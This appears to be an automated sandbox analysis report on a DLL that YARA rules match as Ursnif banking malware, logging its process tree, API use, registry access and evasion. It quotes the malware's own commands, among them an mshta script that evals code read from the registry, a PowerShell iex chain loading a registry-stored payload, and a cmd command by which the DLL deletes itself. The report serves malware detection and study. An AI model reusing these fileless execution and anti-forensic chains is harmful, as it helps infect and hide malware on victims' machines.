Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC2331 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 3_2_04CC2331
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB64C4 memset,NtQueryInformationProcess, 3_2_04CB64C4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB36BB NtGetContextThread,RtlNtStatusToDosError, 3_2_04CB36BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CBB7D5 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, 3_2_04CBB7D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CBD77A NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, 3_2_04CBD77A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB10C7 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, 3_2_04CB10C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC3829 NtQuerySystemInformation,RtlNtStatusToDosError, 3_2_04CC3829
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC7950 NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, 3_2_04CC7950
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CCEAC5 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, 3_2_04CCEAC5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC5220 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, 3_2_04CC5220
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC5312 NtWriteVirtualMemory,VirtualProtectEx,RtlNtStatusToDosError,SetLastError, 3_2_04CC5312
Sample file is different than original file name gathered from version info
Source: rXN8OIpbzz.dll Binary or memory string: OriginalFilenamemyfile.exe$ vs rXN8OIpbzz.dll
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
PE file contains strange resources
Source: rXN8OIpbzz.dll Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rXN8OIpbzz.dll ReversingLabs: Detection: 40%
Source: rXN8OIpbzz.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Exhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Exhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP" Jump to behavior
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220504 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r45uapby.kca.ps1 Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winDLL@26/15@0/1
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C768BD CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 3_2_04C768BD
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{6861BC3D-A755-DAD6-711C-CBAE35102FC2}
Source: C:\Windows\SysWOW64\rundll32.exe Mutant created: \Sessions\1\BaseNamedObjects\{34651F6E-03CF-86A8-2DA8-E71AB15C0BEE}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2084:120:WilError_01
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: rXN8OIpbzz.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: tr0.Pdb source: csc.exe, 00000013.00000003.432123181.0000020BAB5E2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000002.432715372.0000020BAB5E4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431620364.0000020BAB5DF000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431571304.0000020BAB5D5000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431604960.0000020BAB5D9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.453885156.00000000060F0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: rXN8OIpbzz.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.453885156.00000000060F0000.00000004.00001000.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C7828B push ecx; ret 3_2_04C7829B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C77EA0 push ecx; ret 3_2_04C77EA9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB3495 push ecx; mov dword ptr [esp], 00000002h 3_2_04CB3496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CD3D9F push ecx; ret 3_2_04CD3DAF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CD38A0 push ecx; ret 3_2_04CD38A9
PE file contains sections with non-standard names
Source: rXN8OIpbzz.dll Static PE information: section name: .erloc
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CBEC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 3_2_04CBEC00
PE file contains an invalid checksum
Source: nthaltvx.dll.19.dr Static PE information: real checksum: 0x0 should be: 0x824a
Source: zn133k50.dll.21.dr Static PE information: real checksum: 0x0 should be: 0x6e67
Source: rXN8OIpbzz.dll Static PE information: real checksum: 0x79835 should be: 0x74d07
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\zn133k50.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\nthaltvx.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
